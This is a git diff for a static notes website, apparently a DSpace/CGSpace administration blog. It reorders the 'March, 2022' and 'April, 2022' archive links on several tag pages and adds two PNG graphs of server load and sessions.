                                                                                                                                                                                                                          9. diff --git a/docs/tags/notes/index.html b/docs/tags/notes/index.html index b4c30fc25..564dad75a 100644 --- a/docs/tags/notes/index.html +++ b/docs/tags/notes/index.html @@ -17,7 +17,7 @@ - + @@ -385,9 +385,9 @@ DELETE 1
                                                                                                                                                                                                                              -
                                                                                                                                                                                                                            1. March, 2022
                                                                                                                                                                                                                            2. +
                                                                                                                                                                                                                            3. April, 2022
                                                                                                                                                                                                                            4. -
                                                                                                                                                                                                                            5. April, 2022
                                                                                                                                                                                                                            6. +
                                                                                                                                                                                                                            7. March, 2022
                                                                                                                                                                                                                            8. February, 2022
                                                                                                                                                                                                                            9. diff --git a/docs/tags/notes/page/2/index.html b/docs/tags/notes/page/2/index.html index d2d44a3aa..7a76873b8 100644 --- a/docs/tags/notes/page/2/index.html +++ b/docs/tags/notes/page/2/index.html @@ -17,7 +17,7 @@ - + @@ -371,9 +371,9 @@ dspacetest=# select text_value from metadatavalue where metadata_field_id=3 and
                                                                                                                                                                                                                                -
                                                                                                                                                                                                                              1. March, 2022
                                                                                                                                                                                                                              2. +
                                                                                                                                                                                                                              3. April, 2022
                                                                                                                                                                                                                              4. -
                                                                                                                                                                                                                              5. April, 2022
                                                                                                                                                                                                                              6. +
                                                                                                                                                                                                                              7. March, 2022
                                                                                                                                                                                                                              8. February, 2022
                                                                                                                                                                                                                              9. diff --git a/docs/tags/notes/page/3/index.html b/docs/tags/notes/page/3/index.html index 92051bb1a..387e3acbf 100644 --- a/docs/tags/notes/page/3/index.html +++ b/docs/tags/notes/page/3/index.html @@ -17,7 +17,7 @@ - + @@ -180,9 +180,9 @@
                                                                                                                                                                                                                                  -
                                                                                                                                                                                                                                1. March, 2022
                                                                                                                                                                                                                                2. +
                                                                                                                                                                                                                                3. April, 2022
                                                                                                                                                                                                                                4. -
                                                                                                                                                                                                                                5. April, 2022
                                                                                                                                                                                                                                6. +
                                                                                                                                                                                                                                7. March, 2022
                                                                                                                                                                                                                                8. February, 2022
                                                                                                                                                                                                                                9. diff --git a/static/2022/04/cgspace-load.png b/static/2022/04/cgspace-load.png new file mode 100644 index 000000000..02851e3d6 Binary files /dev/null and b/static/2022/04/cgspace-load.png differ diff --git a/static/2022/04/jmx_dspace_sessions-day2.png b/static/2022/04/jmx_dspace_sessions-day2.png new file mode 100644 index 000000000..8f77487a1 Binary files /dev/null and b/static/2022/04/jmx_dspace_sessions-day2.png differ